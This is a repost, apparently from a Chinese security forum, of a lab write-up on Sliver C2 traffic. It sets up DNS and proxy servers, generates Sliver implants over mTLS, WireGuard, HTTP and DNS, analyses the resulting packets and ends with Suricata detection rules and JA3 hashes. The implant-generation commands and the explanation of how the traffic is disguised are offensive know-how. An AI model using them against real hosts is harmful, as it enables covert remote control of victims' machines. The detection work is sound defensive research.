安全矩阵

 找回密码
 立即注册
搜索
查看: 1026|回复: 0

Slive C2流量分析

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-12-8 23:36:32 | 显示全部楼层 |阅读模式
ry4n Crush Sec 2023-12-01 03:59 发表于江苏


通信协议
Sliver中,共有四种协议可供选择:
•http•wireguard•dns•mtls
DNS环境搭建
为了后续的实验方便,首先搭建一个DNS服务器。大致的流程如下:


  1. +-------------------+                              +-------------------+
  2. |                   |                 Resolve DNS  |                   |
  3. |     DNS Server    +---UDP-53 <-------------------+      Target       |
  4. |      (Ubuntu)      |                              |     (Windows)     |
  5. |                   |                              |                   |
  6. |  192.168.122.185  |                +-------------+  192.168.122.160  |
  7. |                   |                |             |                   |
  8. +-------------------+                |             +---+----------+----+
  9.                                      |                 |          |
  10.                     Download binary  |                 |          |
  11.                 +--------------------+                 |          |
  12.                 |                                      |          |
  13.                 v                                      |          |
  14.               TCP-80                                   |          |
  15. +---------------+---+                                  |          |
  16. |                   |               mTLS C2 Connection |          |
  17. |     C2 Server     +---TCP-8888 <---------------------+          |
  18. |      (kali)      |                                             |
  19. |                   |                 WireGuard C2 Connection     |
  20. |  192.168.122.111  +---UDP-53  <---------------------------------+
  21. |                   |
  22. +-------------------+
复制代码
这里的DNS服务器使用Ubuntu20.04进行搭建。
首先安装bind,apt-get install bind9 bind9utils bind9-doc:



bind的配置文件在/etc/bind中,对/etc/bind/named.conf.options进行修改:

  1. acl "localnet" {
  2.         192.168.122.0/24;
  3. };


  4. options {
  5.         directory "/var/cache/bind";

  6.         recursion yes;                     # resursive queries
  7.         allow-recursion { localnet; };     # recursive queries

  8.         listen-on { 192.168.122.185; };    # IP address of the DNS server
  9.         allow-transfer { none; };          # disable zone transfers

  10.         forwarders {
  11.                 8.8.8.8;
  12.                 8.8.4.4;
  13.         };

  14.         dnssec-validation auto;

  15.         listen-on-v6 { any; };
  16. };

  17. logging {
  18.         channel query {
  19.             file "/var/log/bind/query" versions 5 size 10M;
  20.             print-time yes;
  21.             severity info;
  22.         };

  23.         category queries { query; };
  24. };
复制代码


这里需要根据自己的网段进行修改,在配置中允许递归查询。将dns server配置为192.168.122.185,并且不允许区域传输。
logging部分的配置确保所有的DNS查询都会记录到/var/log/bind/query中。
下面新建目录并且做权限修改,确保其可写:

  1. mkdir -p /var/log/bind
  2. chown bind /var/log/bind
复制代码


在/etc/apparmor.d/usr.sbin.named文件中加入如下内容来将目录加进白名单:


  1. /var/log/bind/** rw,
  2. /var/log/bind/ rw,
复制代码


重启apparmor:systemctl restart apparmor
创建zones文件夹来保存区域文件(systemctl restart apparmor)并且通过修改/etc/bind/name.conf.local文件来指定网络的正反向区域:
  1. zone "labnet.local" {
  2.     type master;
  3.     file "/etc/bind/zones/db.labnet.local";   # zone file path
  4. };

  5. zone "122.168.192.in-addr.arpa" {
  6.     type master;
  7.     file "/etc/bind/zones/db.122.168.192";    # 192.168.122.0/24
  8. };
复制代码

下面对/etc/bind/zones/db.labnet.local和/etc/bind/zones/db.122.168.192两个文件进行配置:

  1. $TTL    604800
  2. @       IN      SOA     ns.labnet.local. admin.labnet.local. (
  3.                               4         ; Serial
  4.                          604800         ; Refresh
  5.                           86400         ; Retry
  6.                         2419200         ; Expire
  7.                          604800 )       ; Negative Cache TTL

  8. ; name servers - NS records
  9.     IN      NS      ns.labnet.local.

  10. ; name servers - A records
  11. ns.labnet.local.          IN      A       192.168.122.185

  12. ; 192.168.122.0/24 - A records
  13. target.labnet.local.        IN      A      192.168.122.160
  14. sliver.labnet.local.        IN      A      192.168.122.111
复制代码


  1. $TTL    604800
  2. @       IN      SOA     ns.labnet.local. admin.labnet.local. (
  3.                               4         ; Serial
  4.                          604800         ; Refresh
  5.                           86400         ; Retry
  6.                         2419200         ; Expire
  7.                          604800 )       ; Negative Cache TTL

  8. ; name servers
  9.       IN      NS      ns.labnet.local.

  10. ; PTR Records
  11. 105   IN      PTR     ns.labnet.local.        ; 192.168.122.185
  12. 160   IN      PTR     target.labnet.local.    ; 192.168.122.160
  13. 111   IN      PTR     sliver.labnet.local.    ; 192.168.122.111
复制代码

全部配置完成后,通过如下命令进行检查:
  1. named-checkconf
  2. named-checkzone labnet.local /etc/bind/zones/db.labnet.local
  3. named-checkzone 192.168.122.in-addr.arpa /etc/bind/zones/db.122.168.192
复制代码

如果出现如下响应表示配置成功:

接下来重启bind并且到sliver server端进行验证:
  1. systemctl restart bind9
  2. dig +short @192.168.122.185 target.labnet.local
  3. dig +short @192.168.122.185 -x 192.168.122.160
复制代码





在dns服务器端应该看到如下两条记录:

最后,在受害主机windows上,配置dns服务器:
通过域名访问sliverserver:
至此,所有配置全部完成。mtls
首先生成一个beacon。generate beacon --os windows --arch amd64--format exe --seconds 5 --mtls sliver.labnet.local
开启监听后,在windows主机上执行implant,并开启wireshark监听:首先进行dns的解析: 往后找,看到TLS的client hello:
再次看到dns server的名称。这里的reset报文是因为implant是beacon形式,每隔一段时间进行连接:
wireguard
[backcolor=rgba(0, 0, 0, 0.03)]generate [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]os windows [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]arch amd64 [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]format exe [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]save [backcolor=rgba(0, 0, 0, 0.03)]/[backcolor=rgba(0, 0, 0, 0.03)]tmp[backcolor=rgba(0, 0, 0, 0.03)]/[backcolor=rgba(0, 0, 0, 0.03)]implant[backcolor=rgba(0, 0, 0, 0.03)]-[backcolor=rgba(0, 0, 0, 0.03)]wireguard[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]exe [backcolor=rgba(0, 0, 0, 0.03)]--[backcolor=rgba(0, 0, 0, 0.03)]wg sliver[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]labnet[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]local[backcolor=rgba(0, 0, 0, 0.03)],[backcolor=rgba(0, 0, 0, 0.03)]192.168[backcolor=rgba(0, 0, 0, 0.03)].[backcolor=rgba(0, 0, 0, 0.03)]122.111
[backcolor=rgba(0, 0, 0, 0.03)]

[backcolor=rgba(0, 0, 0, 0.03)]
生成implant后上线,首先同样是dns server:
[backcolor=rgba(0, 0, 0, 0.03)]

[backcolor=rgba(0, 0, 0, 0.03)]

[backcolor=rgba(0, 0, 0, 0.03)]剩下全是畸形的dns报文(malformed packet):
[backcolor=rgba(0, 0, 0, 0.03)]
[backcolor=rgba(0, 0, 0, 0.03)]

[backcolor=rgba(0, 0, 0, 0.03)]HTTP代理环境搭建
mtls和wg协议固然是不错的选择,但并非所有环境都允许建立这两种连接。有时目标与外部的网络连接会受到限制,例如流量允许通过,但需要通过代理,在代理处流量有可能会被记录和检查。在这种情况下,必须使用HTTP和HTTPS协议。
为了模拟环境,只允许HTTP代理流量进出,在原先的实验环境DNS服务器上添加HTTP代理工具,这里选择 squid 工具。
首先安装squid: apt-get install squid
安装后修改配置文件/etc/squid/squid.conf,创建一个acl,并且赋予HTTP权限,再配置上DNS解析:

随后重启squid,systemctl restart squid,并且到sliver C2 server上测试一下连通性:
接下来到windows受害主机上配置一下代理:



修改防火墙策略:


出站连接改为组织,最后配置两条出战策略,分别为TCP 3128端口和UDP 53端口。




访问日志保存在文件/var/log/squid/access.log中。
HTTP/HTTPS
生成一个beacon implant:
generate beacon --http sliver.labnet.local,sliver.labnet.local?driver=wininet --seconds 5
这里的driver=wininet代表使用wininet驱动进行通信。
  1. 在Sliver中,HTTP驱动程序用于生成基于HTTP协议的beacon,并与Sliver服务器进行通信。HTTP驱动程序默认实现是纯Go实现的,但在某些情况下,纯Go实现的HTTP驱动程序可能无法正常工作,例如在使用某些代理服务器或防火墙时。此时,Sliver会尝试使用"wininet"驱动程序,该驱动程序依赖于本地Windows WinInet API。这个驱动程序通常比纯Go实现的HTTP驱动程序更可靠,因为它使用操作系统提供的底层网络功能,可以更好地处理一些复杂的网络环境。
复制代码

同时在sliver server中开启一个http和https的监听。
在https和http监听同时开启的情况下,优先会选择https,下面先看https的分析。

可以看到,在第一个数据包中,返回了400,这是因为其内置的驱动未能请求成功,往后翻:

可见的明文中几乎只有CONNECT,这里请求的url是server的域名,并且返回200,成功建立了连接。
这里即使很多数据包是HTTP的请求,但是内容也不可见,是因为Sliver实现了自己的传输加密方案,所有通过HTTP等纯文本通道发送的数据都无法读取。
kill掉https的监听后,beacon会自动连接到http上,这里的内容大部分也是不可读:



但是会出现很多相似的url:
  1. /signin.php?i=u46099k191
  2. /jscript/jscript/route.js?x=10638697
  3. /database/database/oauth/db/api.php?g=l70700395
  4. /javascript/js/assets/scripts/js/route.js?n=97517432
  5. /scripts/bundles/assets/scripts/bundles/umd/assets/jquery.js?u=4174480
  6. /oauth2/oauth2callback/oauth2/authenticate/signin.php?d=86673m805
  7. ...
复制代码


在日志中可能更为直观:


请求php或者js文件,并且带上一个随机数。这里的路径是由配置文件来控制的,除此之外,所有的GET和POST请求在URL中都带有一个随机数,其名称是一个随机选择的字符,其值也是一个随机字符串。这些随机参数引入是为了绕过浏览器缓存机制,如果多次发送相同的请求,服务器会返回缓存的响应,这就可能会导致C2的失效中断。
将日志文件进行处理后,可以看到请求的路径是由如下内容进行自由拼接:



C2 HTTP配置
配置文件路径为/root/.sliver/configs/http-c2.json

其中implant_config部分指定了以HTTP协议通信时,交互轮询等使用到的文件名,路径,文件后缀等等。
例如Sliver启动session时,用到的文件后缀为html:

而文件路径部分,再结合上面筛选出的路径,也可以发现是一致的。
而server_config部分则是配置了server端响应的内容:



以cookie字段举例:


至此,http协议的流程如下:
•首先是beacon.Init()初始化循环,以一个POST请求来完成,并且以start_session_file_ext的值为后缀名,默认为html。•beacon.Send()进行注册,同样是POST请求,url由配置文件中的session_paths,session_files和session_file_ext来指定。•在心跳包的时间间隔内,首先发送一个POST进行检查,然后由GET接受信息,POST请求和前面一样,而GET请求的配置则是来源于poll_paths,poll_files和poll_file_ext。

DNS
在DNS Server上修改部分配置。
/etc/bind/named.conf.local中设置在本地服务器进行递归解析,不发给上游服务器:

/etc/bind/zones/db.labnet.local中添加子域名解析NS记录:

配置完成后,在target受害机中查询nslookup.exe prefix.dnsc2.labnet.local,其不会返回 DNS 查询的结果,因为 C2 服务器尚未配置为响应。:
在dns server中查看查询日志:
kali中开启监听:
此处配置完成。
在sliver server中创建监听器,这里需要指定监听的域名。官方建议使用FQDN(完全限定域名),因此在一个域名最后添加一个点.,表示根域名。生成 DNS beacon ,指定域名并设定回连间隔为10秒:

在wireshark中查看数据包:



可以看到很多 DNS 查询,大部分是子域dnsc2.labnet.local 的 A 记录,Sliver 使用看似随机的 IP 地址进行响应。
所有数据实际上都编码在乱码字符串中。当implant想要将数据发送到服务器时,它都必须在它查询的 dnsc2.labnet.local 子域中对其进行编码。服务器将接收此查询并返回一些 IP 地址。当服务器想要向implant发送数据时,implant必须执行 TXT 查询,以便服务器可以使用数据对其进行响应。
suricata

  1. .woff:
  2. alert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)

  3. .js:
  4. alert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)

  5. .html:
  6. alert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)

  7. .html:
  8. alert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)

  9. .php:
  10. alert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)

  11. .png:
  12. alert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)

  13. ja3:
  14. alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)

  15. alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)
复制代码





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:26 , Processed in 0.014200 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表